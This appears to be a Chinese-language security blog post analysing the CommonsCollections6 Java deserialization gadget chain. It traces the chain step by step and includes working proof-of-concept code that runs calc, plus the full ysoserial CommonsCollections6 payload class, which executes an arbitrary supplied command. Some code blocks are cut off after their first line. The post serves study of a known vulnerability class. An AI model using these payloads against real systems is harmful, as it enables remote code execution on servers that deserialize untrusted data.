JAVA反序列化之CC6链分析
由于jdk8u71之后sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化了,没有setValue()方法了:
CommonsCollections6是commons-collections这个库中相对⽐较通⽤的利⽤链,不限制jdk版本
环境:
- jdk8u71,地址:
- Comoons-Collections 3.2.1
- poe.xml
1
2
3
4
5
6
7<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
链子
1 | /* |
调用过程梳理
首先是expMap.put,expMap是HashMap类型,相当于HashMap.put()
然后是调用hash(key),这个key是传入的tiedMapEntry
然后是key.hashCode()相当于TiedMapEntry.hashCode()
然后是this.getValue(),也就是TiedMapEntry.getValue()
然后是this.map.get(this.key),这个map已经被设置了lazyMap
然后是LazyMap.get(),这里map是空的HashMap,factory是恶意的chainedTransformer
过程分析:
不变的是LazyMap的get()方法到InvokerTransformer.transform()方法
而TiedMapEntry的getValue()方法调用了LazyMap的get()方法
我们可以观察一下:1
2
3public Object getValue() {
return this.map.get(this.key);
}
观察org.apache.commons.collections.keyvalue.TiedMapEntry
类可以发现:其hashcode()方法调用getValue()方法1
2
3
4
5
6
7
8
9public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public Object getValue() {
return map.get(key);
}
找谁调用了TiedMapEntry的hashcode()方法,
而HashMap的put()方法直接调用HashMap的hash方法进而调用key.hashCode()
方法1
2
3
4
5
6
7public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里把key设置为TiedMapEntry就行了
举个例子分析一下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class HashMapEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
}
}
首先定义一个空的hashmap,然后定义一个lazymap:它是一个Map类型,通过decorate()方法new了一个LazyMap,构造函数map是传进来的hashmap,factory是恶意的chainedTransformer
代码如下:1
2
3
4
5
6
7
8
9
10
11public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}然后定义了一个tiedMapEntry,它的构造函数是public类型的所以我们可以直接使用,设置了map是lazymap,key是字符串”key”
1 | public TiedMapEntry(Map map, Object key) { |
- 然后又新建一个HashMap类型的expMap,调用它的put()方法,传参tiedMapEntry和字符串”value”
首先会调用HashMap#put()1
2
3public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
key是tiedMapEntry,然后调用hash(key)1
2
3
4static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
然后是key.hashCode()也就是tiedMapEntry#hashCode()
TiedMapEntry#hashCode()代码如下:1
2
3
4
5public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
然后是TiedMapEntry#getValue()1
2
3public Object getValue() {
return map.get(key);
}
这里的map已经设置为了lazyMap,然后就是LazyMap的get()方法:1
2
3
4
5
6
7
8
9public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
map是构造的空的HashMap,factory是构造好的chainedTransformer,==这里的key之前也被设置为了字符串”key”==
正常思路是此时会寻找key,没找到就会进入if语句进而执行factory.transform(key)
但是不会,原因下面说
LazyMap#get()方法的问题
1 | import org.apache.commons.collections.Transformer; |
但是当我们打断点时会发现在序列化的时候已经弹出计算器了,或者说是在expMap.put(tiedMapEntry, "value");
的时候就已经弹出计算器了(我们可以把序列化和反序列化函数注释掉运行尝试),这就有点像URLDNS链子的一样的问题了
然后把”key”这个字符串写入键,当我们反序列化的时候走到LazyMap.get()方法是由于之前序列化的时候写入进入了导致无法进入if循环,rce
做了两个操作:
- LazyMap的factory再put方法之前设置为一个无用的Transformed,比如new ConstantTransformer(“test”),在put()之后再利用反射设置回来
- lazyMap.remove(“key”);在构造好tiedMapEntry后把他的初始key-value给删了让他能进入if语句
POC1:
1 | import org.apache.commons.collections.Transformer; |
chian:1
2
3
4
5
6
7
8hashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
p神文章分析
p神利用的HashMap的readObject()方法里面的hash()方法来代替了HashMap的put()->HashMap的hash()
链子:1
2
3
4
5java.util.HashMap.readObject()->
java.util.HashMap.hash()->
TiedMapEntry.hashCode()->
TiedMapEntry.getValue()->
LazyMap.get()->
p牛poc,和上面poc1原理一样:
1 | import org.apache.commons.collections.Transformer; |
hashSet入口
HashSet的readObject()方法会调用map.put()方法,从而调用HashMap.put()方法
因为HashSet存储不允许有重复元素的集合,底层原理是用HashMap实现的,每个集合的元素都有对应的key值
1 | package ysoserial.study; |
不删key的poc
把TiedMapEntry 构造方法中的lazyMap
对象替换成一个普通的Map 类,这里使用的是HashMap 类。防止他调用lazyMap的get()方法把key写进去
写完HashMap后最后再通过反射把TiedMapEntry 中的map 字段的值修改回lazyMap 对象
1 | package ysoserial.study; |
ysoserial的poc
这里yso的链子比较设计hashmap和hashset的底层代码
先取HaseSet的map变量,它是个HashMap类型的,然后取它的table变量,是个Node类型,Node是HashMap的一个静态类
获取这个table的第一个或者第二个元素,把他的key换成恶意的TiedMapEntry
对象1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}